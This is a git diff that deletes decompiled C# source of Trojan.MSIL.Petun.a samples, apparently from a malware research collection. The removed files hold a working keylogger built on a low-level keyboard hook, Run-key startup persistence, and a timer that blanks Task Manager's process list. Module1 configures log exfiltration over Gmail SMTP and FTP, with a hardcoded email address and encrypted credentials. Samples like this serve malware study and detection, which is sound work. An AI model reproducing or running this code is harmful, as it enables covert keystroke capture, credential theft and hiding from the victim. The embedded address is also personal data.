internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/ROS.cs deleted file mode 100644 index df33c301..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: zdjęcia, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 30920A46-087C-4BFD-A402-030FE541EA37 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\UXmIJT", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.mCueNP, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index 3ce820d1..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {D5614F2C-0586-4A5B-9B84-768A456B48B5} - WinExe - zdjęcia - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index 0a9f687b..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "zdjęcia", "Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab.csproj", "{D5614F2C-0586-4A5B-9B84-768A456B48B5}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {D5614F2C-0586-4A5B-9B84-768A456B48B5}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {D5614F2C-0586-4A5B-9B84-768A456B48B5}.Debug|Any CPU.Build.0 = Debug|Any CPU - {D5614F2C-0586-4A5B-9B84-768A456B48B5}.Release|Any CPU.ActiveCfg = Release|Any CPU - {D5614F2C-0586-4A5B-9B84-768A456B48B5}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/cXBQjE.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/cXBQjE.cs deleted file mode 100644 index 1c00b7ee..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/cXBQjE.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: cXBQjE -// Assembly: zdjęcia, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 30920A46-087C-4BFD-A402-030FE541EA37 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab.exe - -using System; -using System.Threading; - -internal class cXBQjE : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public cXBQjE(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/zQTWO.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/zQTWO.cs deleted file mode 100644 index 8d2c4b2d..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab/zQTWO.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zQTWO -// Assembly: zdjęcia, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 30920A46-087C-4BFD-A402-030FE541EA37 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-4e588dcb0bbe9cac7908ee4de1497f787c8bc2641862562d3e7ba4537037e9ab.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class zQTWO -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - zQTWO.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) zQTWO.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - zQTWO.EnumChildWindows(window, new zQTWO.EnumDelegate(zQTWO.EnumChildWindows), 0); - } - - public static bool Running - { - get => zQTWO.t.Enabled; - set - { - if (value) - { - if (zQTWO.t.Interval != 500) - { - Timer t = zQTWO.t; - zQTWO.t.Tick += new EventHandler(zQTWO.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - zQTWO.t.Enabled = true; - zQTWO.t.Start(); - } - } - else - { - zQTWO.t.Enabled = false; - zQTWO.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = zQTWO.GetClass(lngHwnd); - string titleText = zQTWO.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - zQTWO.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - zQTWO.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (zQTWO.GetWindowTextLength(handle) + 1); - zQTWO.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/IvtnGD.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/IvtnGD.cs deleted file mode 100644 index b4794d31..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/IvtnGD.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IvtnGD -// Assembly: PekalonganCheater, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 434B3E4D-6A7D-41EF-B6A3-D3305878C01F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class IvtnGD -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - IvtnGD.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) IvtnGD.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - IvtnGD.EnumChildWindows(window, new IvtnGD.EnumDelegate(IvtnGD.EnumChildWindows), 0); - } - - public static bool Running - { - get => IvtnGD.t.Enabled; - set - { - if (value) - { - if (IvtnGD.t.Interval != 500) - { - Timer t = IvtnGD.t; - IvtnGD.t.Tick += new EventHandler(IvtnGD.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - IvtnGD.t.Enabled = true; - IvtnGD.t.Start(); - } - } - else - { - IvtnGD.t.Enabled = false; - IvtnGD.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = IvtnGD.GetClass(lngHwnd); - string titleText = IvtnGD.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - IvtnGD.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - IvtnGD.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (IvtnGD.GetWindowTextLength(handle) + 1); - IvtnGD.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/KQXCPOeh.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/KQXCPOeh.cs deleted file mode 100644 index 86a0b81f..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/KQXCPOeh.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: KQXCPOeh -// Assembly: PekalonganCheater, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 434B3E4D-6A7D-41EF-B6A3-D3305878C01F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb.exe - -using System; -using System.Threading; - -internal class KQXCPOeh : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public KQXCPOeh(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/Module1.cs deleted file mode 100644 index daa1944a..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb/Module1.cs +++ /dev/null @@ -1,1282 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: PekalonganCheater, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 434B3E4D-6A7D-41EF-B6A3-D3305878C01F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-5bb31855c0e48bc55b305d2890e2f1b2cb6278593044e373527a725aadffcffb.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool EOjwkWxUT = false; - private static bool tqNjIzvIZ = false; - private static bool qvEtZijhm = false; - private static bool dVtJClUWq = false; - private static bool RamPi = false; - private static bool pBuNw = false; - private static string COetBDMje = "20"; - private static string hfkWcjBba = "AaD"; - private static int OiZQdo = 1; - private static string sUoTrJ = "DCSV"; - public static string SCMSOaqr = "YQoEw"; - private static string vOWMrmn = "gPRlOT"; - private static string FVYbTrV = "mMbTElnIkp"; - private static string WgPPCoPly = "iexplorer.exe"; - private static string SDDate = "+SDDate+"; - private static bool TakeScrns = false; - private static string[] Message = new string[3] - { - "+MsgFalse+", - "+MsgMsg+", - "+Ico+" - }; - private static string Delay = "+DelOff+"; - private static bool FRMsg = false; - private static bool NoEL = false; - private static bool SSTime = false; - private static string SSInt = "10"; - private static bool SPlIgmitw = false; - private static string PicSxHHG = "http://www.exampleserver.com/directfile.exe"; - private static bool sumMbTEl = false; - private static string VIjGEgOf = "setup.exe"; - private static bool zUyXoP = true; - private static bool BIaiY = false; - private static string paTaFfRhk = "LHs1gVoZGRA="; - private static string zuYoHb = "ftp.exampleserver.com"; - private static string jaoyhhUHh = "LHs1gVoZGRA="; - private static string SMebxTsxt = "/"; - private static string LuGMIT = "smtp.gmail.com"; - private static string bWzCio = "2jGOv159YMKydqPZ+H6MUBBnZaoNJyEsT3t1RfnqHcU="; - private static string JtBIYyxO = "bBuBKnW00bzgmle5acXteg=="; - private static string dLzULCP = "krisnaindrawan7@gmail.com"; - private static string YkMgLjC = "587"; - private static string RBMROZqrN = "----[ "; - private static string WLqmmlpbU = " ]----"; - private static bool UyjeTneVi; - private static bool HYKPoc; - private static bool UsyuHK = true; - private static bool vZpIc = true; - private static bool GHFKu = true; - private static bool lCFIz = true; - private const int ayrnyQ = 257; - private const short CfhOhn = 256; - private const int YdBIPs = 260; - private const int yXmfPwzU = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string knIkoDN; - - public static string gaspN - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string zRfBo - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string iPiowlR - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string CgssIMP - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string IcFJXUD - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.nJkpEOiw lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int JJvvXf(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string TDOU() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object BDjpJRGlh() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void uctfjKkvp() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.NlEd); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void cSVNmPtrZ() - { - try - { - if (!Conversions.ToBoolean(Module1.BDjpJRGlh()) || Module1.JJvvXf((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string TYliReEE( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int NlEd(int Code, int wParam, ref Module1.nJkpEOiw lParam) - { - int num; - try - { - object obj = (object) Module1.TDOU(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.knIkoDN = Conversions.ToString(Operators.ConcatenateObject((object) Module1.knIkoDN, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.RBMROZqrN), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.WLqmmlpbU), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.knIkoDN.EndsWith(Module1.WLqmmlpbU + "\r\n") | !Module1.vZpIc | Module1.knIkoDN.EndsWith("]")) - { - Left = "[BS]"; - break; - } - Module1.knIkoDN = Module1.knIkoDN.Remove(checked (Module1.knIkoDN.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.UsyuHK) - { - Module1.HYKPoc = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.UyjeTneVi) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - 